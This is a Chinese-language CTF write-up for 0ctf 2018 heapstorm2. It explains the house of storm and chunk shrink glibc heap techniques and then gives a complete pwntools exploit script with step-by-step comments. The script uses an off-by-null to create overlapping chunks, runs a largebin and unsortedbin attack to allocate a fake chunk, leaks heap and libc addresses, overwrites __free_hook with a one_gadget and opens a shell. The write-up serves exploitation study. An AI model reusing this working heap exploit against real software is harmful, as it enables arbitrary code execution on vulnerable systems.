文章目录
- 前置知识
- 整体思路
-
- [house of storm](#house of storm)
-
- [如何进行一次house of storm](#如何进行一次house of storm)
- [house of storm原理](#house of storm原理)
- [house of storm具体流程](#house of storm具体流程)
- [chunk shrink](#chunk shrink)
- exp
前置知识
unsortedbin attacklargebin attackoff by null构造chunk shrink
整体思路
这道题即是house of storm。除了house of storm,本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of storm和chunk shrink两个方面。看完了原理,可以结合我的exp,有详细每一步的注释。
house of storm
如何进行一次house of storm
你可以做到:
- 任意地址的
chunk分配
你需要完成:
- 控制一个
unsortedbin和largebin中的chunk,且unsortedbin中的要比largebin中的大
house of storm原理
一句话描述一下house of storm:通过largebin attack在fake chunk的header上错位写下一个0x55或0x56的size,并在fake chunk的bk处写一个堆地址。控制unsortedbin的chunk的bk指向要申请的fake chunk。申请一个大小为0x50的chunk,先触发largebin attack,从而根据unsortedbin的bk申请到fake chunk,完成任意地址写。
这实际上分为两个部分,首先,我们要知道,unsortedbin attack并非只能在指定位置写一个libc地址,还可以类似于fastbin attack完成一个chunk的分配,只是条件比较苛刻。一句话就是需要unsortedbin的bk指向的chunk的bk可写,其size合法。
那么我们便可以利用largebin attack来完成这些条件:
largebinattack可以写两个值- 第一个值错位写要申请的地方的
size,使得堆地址最开始的0x55或者0x56为size - 第二个值写要申请的地方的
bk,使得bk为一个可写的值 - 然后申请大小为
0x50的chunk即可申请到unsortedbin的bk
house of storm具体流程
- 假设要分配到
fake chunk - 写
unsortedbin的chunk的bk为fake chunk的地址 - 写
largebin中的chunk的bk为fake chunk + 0x18 - 0x10 - 写
largebin中的chunk的bk_nextsize为fake chunk + 0x3 - 0x20 - 申请一个大小为
0x50的chunk
chunk shrink
上面我们提到需要控制unsortedbin和largebin中的chunk,这一部分需要获得重叠指针。
chunk shrink算是另一种off by null的利用,相比于三明治结构要比较复杂。适用于一些极端情况。
使用方法:小大小三个chunk(不能是fastbin大小),设为abc。b为0x510(例如),在其最末尾写fake prev_size为0x500,释放b置入unsortedbin,通过a进行off by null将b的size变为0x500。申请几个加起来为0x500的chunk,第一个不能为fastbin大小,例如三个为0x88,0x18,0x448,设为def。先后释放d和c,将会导致最开始申请的b和c合并,由此再次申请回d,再申请回e可以获得重叠的e指针。
exp
python
from pwn import *
from LibcSearcher import *
filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Command: '
menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''
menu_del = 3
del_index_words = 'Index: '
menu_show = 4
show_index_words = 'Index: '
menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
while True:
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', )
# 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
add(size=0x18) # 0
add(size=0x508) # 1
add(size=0x18) # 2
add(size=0x20) # 3防止合并
# 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500
payload = b'a'*0x4f0 + p64(0x500)
edit(index=1, size=len(payload), content=payload)
# 将大小为0x510的chunk添加到unsortedbin中去
delete(index=1)
# 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500
payload = b'a'*(0x18 - 12)
edit(index=0, size=len(payload), content=payload)
# 申请两个chunk,加起来为0x500,且unsortedbin此时为空了
add(size=0x18) # 1
add(size=0x4d8) # 4
# 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并
delete(index=1)
delete(index=2)
# 再申请回来从而获得重叠指针
add(size=0x18) # 1
add(size=0x4d8) # 2,和4重合,大小为0x4e0
add(size=0x20) # 5
# 下面这一部分和上面一模一样,没有任何区别
add(size=0x18) # 6
add(size=0x508) # 7
add(size=0x18) # 8
add(size=0x20) # 9防止合并
payload = b'a'*0x4f0 + p64(0x500)
edit(index=7, size=len(payload), content=payload)
delete(index=7)
payload = b'a'*(0x18 - 12)
edit(index=6, size=len(payload), content=payload)
add(size=0x38) # 7
add(size=0x4b8) # 10
delete(index=7)
delete(index=8)
add(size=0x38) # 7
add(size=0x4b8) # 8,和10重合,大小为0x4c0
add(size=0x20) # 11
# 先后将小的和大的置入unsortedbin,然后申请回大的。
# 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin
# 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
delete(index=8)
delete(index=2)
add(size=0x4d8) # 2
delete(index=2)
# 接下来开始house of storm。
# 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分
array = 0x13370800
fake_chunk = array - 0x20
# unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunk
payload = p64(0) + p64(fake_chunk)
edit(index=4, size=len(payload), content=payload)
# laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处
# 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
# 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的size
payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
edit(index=10, size=len(payload), content=payload)
# 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对
# 因此爆破。概率为1/2
try:
add(size=0x48) # 2
payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
edit(index=2, size=len(payload), content=payload)
except EOFError:
sh.close()
continue
# 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印
# 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
edit(index=0, size=len(payload), content=payload)
# 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址
show(index=1)
sh.recvuntil('Chunk[1]: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_base', heap_leak)
heap_base = heap_leak - 0x40
# 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
edit(index=0, size=len(payload), content=payload)
show(index=1)
sh.recvuntil('Chunk[1]: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
leak_info('libc.address', libc.address)
# 接下来只需要以同样方式来打free_hook即可!
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
edit(index=0, size=len(payload), content=payload)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = p64(libc.address + one_gadget[1])
edit(index=1, size=len(payload), content=payload)
delete(index=0)
sh.interactive()
# debug()
break
参考内容
[原创\]Largebin attack总结-二进制漏洞-看雪-安全社区\|安全招聘\|kanxue.com](https://bbs.kanxue.com/thread-262424.htm#msg_header_h2_3)